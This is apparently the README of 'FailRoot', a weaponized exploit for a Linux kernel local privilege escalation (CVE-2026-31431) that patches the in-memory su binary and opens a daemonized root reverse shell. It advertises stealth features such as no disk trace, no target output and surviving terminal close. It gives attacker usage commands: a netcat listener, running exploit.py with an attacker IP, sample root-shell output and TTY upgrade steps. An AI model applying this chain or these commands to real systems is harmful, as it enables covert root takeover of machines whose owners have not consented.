CVE-2026-31431-REVSHELL

  █▀▀ ▄▀█ █ █   █▀█ █▀█ █▀█ ▀█▀
  █▀░ █▀█ █ █▄▄ █▀▄ █▄█ █▄█ ░█░

  CVE-2026-31431  •  Linux Kernel LPE  →  Root Reverse Shell

Overview

FailRoot is a weaponized exploit for CVE-2026-31431 — an out-of-bounds write in the Linux kernel's crypto: algif_aead subsystem.

It chains a privilege escalation with a daemonized root reverse shell with full PTY:

AF_ALG + splice()  →  4-byte page-cache write  →  patch /usr/bin/su  →  root

The entire exploit fits in one file. No compilation. No external dependencies. No trace on disk — the su binary is patched in-memory only.

What it does

1. Daemonizes instantly — double-fork, detaches from terminal, returns prompt immediately
2. Loads kernel modules — algif_aead + authencesn via multiple fallback strategies
3. Exploits CVE-2026-31431 — writes 4 controlled bytes into /usr/bin/su page cache
4. Spawns root PTY reverse shell — pty.spawn("/usr/bin/su") → fully interactive root TTY

The reverse shell survives terminal close (SIGHUP ignored), shows zero output on the target, and connects with retries for up to 3 minutes.

Usage

# Attacker — start listener:
nc -lvnp 4444

# Target — run exploit (nothing will show, it daemonizes instantly):
python3 exploit.py <ATTACKER_IP> 4444

attacker ~ $ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.1.100] from [192.168.1.50] 50234

root@victim:~# id
uid=0(root) gid=0(root) groups=0(root)

TTY upgrade (attacker side, inside the shell)

Ctrl+Z
stty raw -echo; fg
reset
export TERM=xterm-256color
export SHELL=/bin/bash

Affected Kernels

Requirements

• Python >= 3.10 (os.splice())
• Read access to /usr/bin/su (world-readable on all distros)
• Kernel modules algif_aead and authencesn available
• No sudo required

Author

danimrtzp

Disclaimer

For authorized security research and education only. Misuse is illegal.